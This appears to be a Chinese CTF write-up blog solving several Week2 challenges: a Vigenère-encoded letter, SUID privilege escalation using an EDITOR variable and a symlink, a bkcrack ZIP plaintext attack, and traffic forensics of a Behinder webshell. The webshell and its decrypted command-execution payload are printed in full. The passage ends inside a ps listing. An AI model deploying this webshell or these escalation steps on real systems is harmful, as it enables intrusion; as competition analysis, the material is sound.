1 2 3 4 5 6 7 Gieg fsq sulirs, Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl." Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs. Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi. Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '. Ehwx lagbrv!
题目名称就给了提示:维吉尼亚密码。密钥是deepsound,没意识到可以问GPT,显然jasu->flag。只能说,GPT-5还是太强了。
1 2 3 4 5 6 7 Dear new friend, Welcome to the thrilling world of CTF!This isn’t just a game—it’s a playground where curiosity meets challenge, where every line of code, every hidden clue, and every puzzle holds a secret waiting to be uncovered. Here, you’ll stretch your mind, learn to see patterns in chaos, and turn "I don’t know" into "I figured it out." Don’t worry if things feel overwhelming at first. We’ve all been there—staring at a problem, scratching our heads, wondering where to start. But that’s the magic of it: every mistake is a lesson, every small win a rush. And you’re not alone. This community thrives on collaboration, on sharing ideas, and lifting each other up. So dive in. Explore. Experiment. Ask questions. Celebrate the tiny victories, and don’t fear the stumbles. The CTF world is brighter with you in it, and we can’t wait to see where your journey takes you. Flag is "funny letter to you". Remember wrap the flag content in flag{} and use underline‘_' to replace space character' '. Best wishes!
1 flag{funny_letter_to_you}
[Week2] 《关于我穿越到CTF的异世界这档事:破》 用户:ctf,密码:CtfP@ssw0rd!2025 ok ssh连上,发现是 Ubuntu 22.04
1 2 3 4 ctf@cl-137-c98351f013ba2a8a:~$ ls notes.txt ctf@cl-137-c98351f013ba2a8a:~$ cat notes.txt Think About SUID.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ctf@cl-137-c98351f013ba2a8a:~$ cat /start.sh if [ "$A1CTF_FLAG " ]; then INSERT_FLAG="$A1CTF_FLAG " unset A1CTF_FLAG elif [ "$QUESTION_CTF_FLAG " ]; then INSERT_FLAG="$QUESTION_CTF_FLAG " unset QUESTION_CTF_FLAG elif [ "$GZCTF_FLAG " ]; then INSERT_FLAG="$GZCTF_FLAG " unset GZCTF_FLAG elif [ "$FLAG " ]; then INSERT_FLAG="$FLAG " unset FLAG else INSERT_FLAG="QUESTION_CTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}" fi echo -n $INSERT_FLAG > /root/flag.txtINSERT_FLAG="" chmod 600 /root/flag.txtchown root:root /root/flag.txtexec /usr/sbin/sshd -D
那目标就是利用SUID提权到root,读取/root/flag.txt
1 2 3 4 5 6 7 8 9 10 11 ctf@cl-137-c98351f013ba2a8a:~$ find / -perm -u=s -type f 2>/dev/null /usr/local/bin/editnote /usr/bin/chsh /usr/bin/su /usr/bin/passwd /usr/bin/newgrp /usr/bin/mount /usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/lib/openssh/ssh-keysign
显然这个/usr/local/bin/editnote就是SUID文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ctf@cl-137-c98351f013ba2a8a:~$ strings /usr/local/bin/editnote /lib64/ld-linux-x86-64.so.2 __cxa_finalize __libc_start_main execlp getenv perror libc.so.6 GLIBC_2.34 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH EDITOR /home/ctf/notes.txt execlp failed :*3$" GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 ...后续省略
关注这两个EDITOR、/home/ctf/notes.txt
1 2 3 4 5 6 7 ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=cat ctf@cl-137-c98351f013ba2a8a:~$ editnote /home/ctf/notes.txt Think About SUID. ctf@cl-137-c98351f013ba2a8a:~$ editnote Think About SUID. ctf@cl-137-c98351f013ba2a8a:~$ editnote /root/flag.txt Think About SUID.
看起来这个editnote并不接受输入
1 2 3 ctf@cl-137-c98351f013ba2a8a:~$ echo 'cat /root/flag.txt' > /tmp/shell ctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnote cat : /root/flag.txt: Permission denied
布什戈么??尝试链接符号:
1 2 3 4 5 ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=/usr/bin/cat ctf@cl-137-c98351f013ba2a8a:~$ rm /home/ctf/notes.txt ctf@cl-137-c98351f013ba2a8a:~$ ln -s /root/flag.txt /home/ctf/notes.txt ctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnote flag{738215c9-0064-4c47-8634-ca561e4be87d}
好啊!复盘,直接cat permission denied应该是 有效用户ID (EUID) 和 真实用户ID (RUID) 不一致,导致权限被丢弃了。
[Week2] 俱乐部之旅(2) - 我邮件呢?? 下载得到pcapng,导出IMF 得到Congratulations.zip ,but,要密码?
1 2 3 4 5 6 7 8 9 (base) ➜ [Week2] 俱乐部之旅(2) - 我邮件呢?? unzip -v Congratulations.zip Archive: Congratulations.zip Access to the congratulatory letter requires your identity hash as the password Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 851 Stored 851 0% 09-07-2025 18:21 46287889 Congratulations.txt 639230 Stored 639230 0% 09-07-2025 18:46 776c15e2 id_card.png -------- ------- --- ------- 640081 640081 0% 2 files
注意这句,Access to the congratulatory letter requires your identity hash as the password ,
QWNjZXNzIEdyYW50ZWQgqEMgV2VsY29tZSB0byBDNU Access Granted ¨C Welcome to C5IM Access Granted – Welcome to C5IM
嘶,并非如此。观察到压缩包内有id_card.png,尝试使用bkcrack对png_header进行明文攻击。(部分文件数据居然也可以诶?!)参考博文https://www.cnblogs.com/JacekYang/p/17592358.html
1 2 3 4 5 6 7 8 9 10 11 (base) ➜ [Week2] 俱乐部之旅(2) - 我邮件呢?? bkcrack -C Congratulations.zip -c id_card.png -p png_header bkcrack 1.8.0 - 2025-08-18 [06:53:09] Z reduction using 9 bytes of known plaintext 100.0 % (9 / 9) [06:53:09] Attack on 736192 Z values at index 6 Keys: 733236fb 6652cac7 8542e0e2 75.7 % (557238 / 736192) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 557238 [06:58:23] Keys 733236fb 6652cac7 8542e0e2
啊啊啊啊???733236fb 6652cac7 8542e0e2
bkcrack -C Congratulations.zip -c id_card.png -k 733236fb 6652cac7 8542e0e2 -d id_card.png读一下id_card.png 密码有了,4458e940b799c5419ac8fbceac043ac5,unzip解压得到Congratulations.txt
1 flag{pl34s3_s4f3gu4rd_y0ur_r3c0v3r3d_c5im_d4t4}
但这里并非如此顺畅,Congratulations.zip很奇怪,内部两个文件密码不一样,Keka直接认为hash密码不正确。。。
[Week2] 布豪有黑客(二) 获得week2.pcnpng,导出object-http(这个test.jpg好可爱啊哈哈哈哈)
观察流量发现,先上传了一个test.jpg,然后是shell.php
观察upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
我Chao!冰蝎(Behinder)!http://tools.bugscaner.com/cryptoaes/用这个解密AES,密码为e45e329feb5d925b
冰蝎数据流实际上是 base64 + json + aes,有工具的话一键解密应该挺方便的,但这题看起来数据流不多,那就手动操作一下吧。
shell(7).php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 @error_reporting (0 ); function getSafeStr ($str ) { $s1 = iconv ('utf-8' ,'gbk//IGNORE' ,$str ); $s0 = iconv ('gbk' ,'utf-8//IGNORE' ,$s1 ); if ($s0 == $str ){ return $s0 ; }else { return iconv ('gbk' ,'utf-8//IGNORE' ,$str ); } } function main ($cmd ,$path ) { @set_time_limit (0 ); @ignore_user_abort (1 ); @ini_set ('max_execution_time' , 0 ); $result = array (); $PadtJn = @ini_get ('disable_functions' ); if (! empty ($PadtJn )) { $PadtJn = preg_replace ('/[, ]+/' , ',' , $PadtJn ); $PadtJn = explode (',' , $PadtJn ); $PadtJn = array_map ('trim' , $PadtJn ); } else { $PadtJn = array (); } $c = $cmd ; if (FALSE !== strpos (strtolower (PHP_OS), 'win' )) { $c = $c . " 2>&1\n" ; } $JueQDBH = 'is_callable' ; $Bvce = 'in_array' ; if ($JueQDBH ('system' ) and ! $Bvce ('system' , $PadtJn )) { ob_start (); system ($c ); $kWJW = ob_get_contents (); ob_end_clean (); } else if ($JueQDBH ('proc_open' ) and ! $Bvce ('proc_open' , $PadtJn )) { $handle = proc_open ($c , array ( array ( 'pipe' , 'r' ), array ( 'pipe' , 'w' ), array ( 'pipe' , 'w' ) ), $pipes ); $kWJW = NULL ; while (! feof ($pipes [1 ])) { $kWJW .= fread ($pipes [1 ], 1024 ); } @proc_close ($handle ); } else if ($JueQDBH ('passthru' ) and ! $Bvce ('passthru' , $PadtJn )) { ob_start (); passthru ($c ); $kWJW = ob_get_contents (); ob_end_clean (); } else if ($JueQDBH ('shell_exec' ) and ! $Bvce ('shell_exec' , $PadtJn )) { $kWJW = shell_exec ($c ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('exec' , $PadtJn )) { $kWJW = array (); exec ($c , $kWJW ); $kWJW = join (chr (10 ), $kWJW ) . chr (10 ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('popen' , $PadtJn )) { $fp = popen ($c , 'r' ); $kWJW = NULL ; if (is_resource ($fp )) { while (! feof ($fp )) { $kWJW .= fread ($fp , 1024 ); } } @pclose ($fp ); } else { $kWJW = 0 ; $result ["status" ] = base64_encode ("fail" ); $result ["msg" ] = base64_encode ("none of proc_open/passthru/shell_exec/exec/exec is available" ); $key = $_SESSION ['k' ]; echo encrypt (json_encode ($result )); return ; } $result ["status" ] = base64_encode ("success" ); $result ["msg" ] = base64_encode (getSafeStr ($kWJW )); echo encrypt (json_encode ($result )); } function Encrypt ($data ) { @session_start (); $key = $_SESSION ['k' ]; if (!extension_loaded ('openssl' )) { for ($i =0 ;$i <strlen ($data );$i ++) { $data [$i ] = $data [$i ]^$key [$i +1 &15 ]; } return $data ; } else { return openssl_encrypt ($data , "AES128" , $key ); } } $cmd ="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7bHMgLWxh" ;$cmd =base64_decode ($cmd );$path ="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==" ;$path =base64_decode ($path );main ($cmd ,$path );
cmd="cd /xp/www/week2/uploads/ ;ls -la" path="/xp/www/week2/uploads/"
响应为:
1 2 3 4 5 total 388 drwxr-xr-x 2 www www 4096 Sep 19 12:57 . drwxr-xr-x 3 www www 4096 Sep 19 11:06 .. -rw-r--r-- 1 www www 643 Sep 19 12:57 shell.php -rw-r--r-- 1 www www 381805 Sep 19 12:57 test.jpg
shell(10).php
1 2 3 4 5 $cmd ="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7dW5hbWUgLWE=" ;$cmd =base64_decode ($cmd );$path ="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==" ;$path =base64_decode ($path );main ($cmd ,$path );
cmd="cd /xp/www/week2/uploads/ ;uname -a" 输出:
1 Linux c3ngh-server 5.15.0-151-generic
shell(13).php (省略细节)
1 cd /xp/www/week2/uploads/ ;whoami
shell(15).php
1 cd /xp/www/week2/uploads/ ;ps -aux
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 166296 11844 ? Ss 09:13 0:06 /sbin/init root 2 0.0 0.0 0 0 ? S 09:13 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_par_gp] root 5 0.0 0.0 0 0 ? I< 09:13 0:00 [slub_flushwq] root 6 0.0 0.0 0 0 ? I< 09:13 0:00 [netns] root 8 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:0H-events_highpri] root 10 0.0 0.0 0 0 ? I< 09:13 0:00 [mm_percpu_wq] root 11 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_rude_] root 12 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_trace] root 13 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/0] root 14 0.0 0.0 0 0 ? I 09:13 0:11 [rcu_sched] root 15 0.0 0.0 0 0 ? S 09:13 0:00 [migration/0] root 16 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/0] root 18 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/0] root 19 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/1] root 20 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/1] root 21 0.0 0.0 0 0 ? S 09:13 0:01 [migration/1] root 22 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/1] root 24 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:0H-events_highpri] root 25 0.0 0.0 0 0 ? S 09:13 0:00 [kdevtmpfs] root 26 0.0 0.0 0 0 ? I< 09:13 0:00 [inet_frag_wq] root 27 0.0 0.0 0 0 ? S 09:13 0:00 [kauditd] root 29 0.0 0.0 0 0 ? S 09:13 0:00 [khungtaskd] root 30 0.0 0.0 0 0 ? S 09:13 0:00 [oom_reaper] root 31 0.0 0.0 0 0 ? I< 09:13 0:00 [writeback] root 32 0.0 0.0 0 0 ? S 09:13 0:02 [kcompactd0] root 33 0.0 0.0 0 0 ? SN 09:13 0:00 [ksmd] root 34 0.0 0.0 0 0 ? SN 09:13 0:00 [khugepaged] root 81 0.0 0.0 0 0 ? I< 09:13 0:00 [kintegrityd] root 82 0.0 0.0 0 0 ? I< 09:13 0:00 [kblockd] root 83 0.0 0.0 0 0 ? I< 09:13 0:00 [blkcg_punt_bio] root 85 0.0 0.0 0 0 ? I< 09:13 0:00 [tpm_dev_wq] root 86 0.0 0.0 0 0 ? I< 09:13 0:00 [ata_sff] root 87 0.0 0.0 0 0 ? I< 09:13 0:00 [md] root 88 0.0 0.0 0 0 ? I< 09:13 0:00 [edac-poller] root 89 0.0 0.0 0 0 ? I< 09:13 0:00 [devfreq_wq] root 90 0.0 0.0 0 0 ? S 09:13 0:00 [watchdogd] root 91 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:1H-kblockd] root 93 0.0 0.0 0 0 ? S 09:13 0:00 [kswapd0] root 94 0.0 0.0 0 0 ? S 09:13 0:00 [ecryptfs-kthrea] root 96 0.0 0.0 0 0 ? I< 09:13 0:00 [kthrotld] root 97 0.0 0.0 0 0 ? S 09:13 0:00 [irq/24-pciehp] root 98 0.0 0.0 0 0 ? S 09:13 0:00 [irq/25-pciehp] root 99 0.0 0.0 0 0 ? S 09:13 0:00 [irq/26-pciehp] root 100 0.0 0.0 0 0 ? S 09:13 0:00 [irq/27-pciehp] root 101 0.0 0.0 0 0 ? S 09:13 0:00 [irq/28-pciehp] root 102 0.0 0.0 0 0 ? S 09:13 0:00 [irq/29-pciehp] root 103 0.0 0.0 0 0 ? S 09:13 0:00 [irq/30-pciehp] root 104 0.0 0.0 0 0 ? S 09:13 0:00 [irq/31-pciehp] root 105 0.0 0.0 0 0 ? S 09:13 0:00 [irq/32-pciehp] root 106 0.0 0.0 0 0 ? S 09:13 0:00 [irq/33-pciehp] root 107 0.0 0.0 0 0 ? S 09:13 0:00 [irq/34-pciehp] root 108 0.0 0.0 0 0 ? S 09:13 0:00 [irq/35-pciehp] root 109 0.0 0.0 0 0 ? S 09:13 0:00 [irq/36-pciehp] root 110 0.0 0.0 0 0 ? S 09:13 0:00 [irq/37-pciehp] root 111 0.0 0.0 0 0 ? S 09:13 0:00 [irq/38-pciehp] root 112 0.0 0.0 0 0 ? S 09:13 0:00 [irq/39-pciehp] root 113 0.0 0.0 0 0 ? S 09:13 0:00 [irq/40-pciehp] root 114 0.0 0.0 0 0 ? S 09:13 0:00 [irq/41-pciehp] root 115 0.0 0.0 0 0 ? S 09:13 0:00 [irq/42-pciehp] root 116 0.0 0.0 0 0 ? S 09:13 0:00 [irq/43-pciehp] root 117 0.0 0.0 0 0 ? S 09:13 0:00 [irq/44-pciehp] root 118 0.0 0.0 0 0 ? S 09:13 0:00 [irq/45-pciehp] root 119 0.0 0.0 0 0 ? S 09:13 0:00 [irq/46-pciehp] root 120 0.0 0.0 0 0 ? S 09:13 0:00 [irq/47-pciehp] root 121 0.0 0.0 0 0 ? S 09:13 0:00 [irq/48-pciehp] root 122 0.0 0.0 0 0 ? S 09:13 0:00 [irq/49-pciehp] root 123 0.0 0.0 0 0 ? S 09:13 0:00 [irq/50-pciehp] root 124 0.0 0.0 0 0 ? S 09:13 0:00 [irq/51-pciehp] root 125 0.0 0.0 0 0 ? S 09:13 0:00 [irq/52-pciehp] root 126 0.0 0.0 0 0 ? S 09:13 0:00 [irq/53-pciehp] root 127 0.0 0.0 0 0 ? S 09:13 0:00 [irq/54-pciehp] root 128 0.0 0.0 0 0 ? S 09:13 0:00 [irq/55-pciehp] root 129 0.0 0.0 0 0 ? I< 09:13 0:00 [acpi_thermal_pm] root 131 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_0] root 132 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_0] root 133 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_1] root 134 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_1] root 136 0.0 0.0 0 0 ? I< 09:13 0:00 [vfio-irqfd-clea] root 137 0.0 0.0 0 0 ? I< 09:13 0:00 [mld] root 138 0.0 0.0 0 0 ? I< 09:13 0:00 [ipv6_addrconf] root 149 0.0 0.0 0 0 ? I< 09:13 0:00 [kstrp] root 152 0.0 0.0 0 0 ? I< 09:13 0:00 [zswap-shrink] root 154 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/u257:0] root 159 0.0 0.0 0 0 ? I< 09:13 0:00 [charger_manager] root 182 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:1H-kblockd] root 205 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt_poll_0] root 206 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt/0] root 207 0.0 0.0 0 0 ? I< 09:13 0:00 [ttm_swap] root 208 0.0 0.0 0 0 ? S 09:13 0:01 [irq/16-vmwgfx] root 209 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc0] root 210 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc1] root 211 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc2] root 212 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc3] root 213 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc4] root 214 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc5] root 215 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc6] root 216 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc7] root 217 0.0 0.0 0 0 ? I< 09:13 0:00 [cryptd] root 266 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_2] root 267 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_2] root 268 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_3] root 269 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_3] root 270 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_4] root 271 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_4] root 272 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_5] root 273 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_5] root 274 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_6] root 275 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_6] root 276 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_7] root 277 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_7] root 278 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_8] root 279 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_8] root 280 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_9] root 281 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_9] root 282 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_10] root 283 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_10] root 284 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_11] root 285 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_11] root 286 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_12] root 287 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_12] root 288 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_13] root 289 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_13] root 290 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_14] root 291 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_14] root 292 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_15] root 293 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_15] root 294 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_16] root 295 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_16] root 296 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_17] root 297 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_17] root 298 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_18] root 299 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_18] root 300 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_19] root 301 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_19] root 302 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_20] root 303 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_20] root 304 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_21] root 305 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_21] root 306 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_22] root 307 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_22] root 308 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_23] root 309 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_23] root 310 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_24] root 311 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_24] root 312 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_25] root 313 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_25] root 314 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_26] root 315 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_26] root 316 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_27] root 317 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_27] root 318 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_28] root 319 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_28] root 320 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_29] root 321 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_29] root 322 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_30] root 323 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_30] root 324 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_31] root 325 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_31] root 352 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_32] root 353 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_32] root 370 0.0 0.0 0 0 ? I< 09:13 0:00 [kdmflush] root 400 0.0 0.0 0 0 ? I< 09:13 0:00 [raid5wq] root 448 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/dm-0-8] root 449 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver] root 525 0.0 0.4 64268 18632 ? S<s 09:13 0:00 /lib/systemd/systemd-journald root 554 0.0 0.0 0 0 ? I< 09:13 0:00 [kaluad] root 557 0.0 0.1 26036 6892 ? Ss 09:13 0:00 /lib/systemd/systemd-udevd root 558 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_rdacd] root 559 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpathd] root 560 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_handlerd] root 561 0.0 0.6 354884 27096 ? SLsl 09:13 0:04 /sbin/multipathd -d -s root 693 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/sda2-8] root 694 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver] systemd+ 711 0.0 0.1 89364 6624 ? Ssl 09:13 0:00 /lib/systemd/systemd-timesyncd root 740 0.0 0.3 51152 12060 ? Ss 09:13 0:00 /usr/bin/VGAuthService root 741 0.3 0.2 314820 9360 ? Ssl 09:13 0:51 /usr/bin/vmtoolsd systemd+ 846 0.0 0.3 26332 13300 ? Ss 09:13 0:00 /lib/systemd/systemd-resolved root 857 0.0 0.0 6896 3088 ? Ss 09:13 0:00 /usr/sbin/cron -f -P message+ 858 0.0 0.1 8872 5060 ? Ss 09:13 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only root 864 0.0 0.1 82832 3992 ? Ssl 09:13 0:00 /usr/sbin/irqbalance --foreground root 865 0.0 0.4 32820 19588 ? Ss 09:13 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers root 866 0.0 0.1 234504 6636 ? Ssl 09:13 0:00 /usr/libexec/polkitd --no-debug syslog 867 0.0 0.1 222404 6244 ? Ssl 09:13 0:00 /usr/sbin/rsyslogd -n -iNONE root 871 0.0 0.8 1321412 32464 ? Ssl 09:13 0:02 /usr/lib/snapd/snapd root 873 0.0 0.1 15536 7212 ? Ss 09:13 0:00 /lib/systemd/systemd-logind root 875 0.0 0.3 392628 12828 ? Ssl 09:13 0:00 /usr/libexec/udisks2/udisksd root 897 0.0 0.1 7852 4828 tty1 Ss 09:13 0:00 /bin/login -p -- root 908 0.0 0.3 317968 12416 ? Ssl 09:13 0:00 /usr/sbin/ModemManager root 919 0.0 0.2 15440 9364 ? Ss 09:13 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 930 0.0 0.5 109788 21716 ? Ssl 09:13 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal root 1071 0.0 1.8 1972468 71704 ? Ssl 09:13 0:04 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/3265/config/daemon.json root 1435 0.3 1.1 1802020 44404 ? Ssl 09:13 0:43 containerd --config /run/snap.docker/containerd/containerd.toml c3ngh 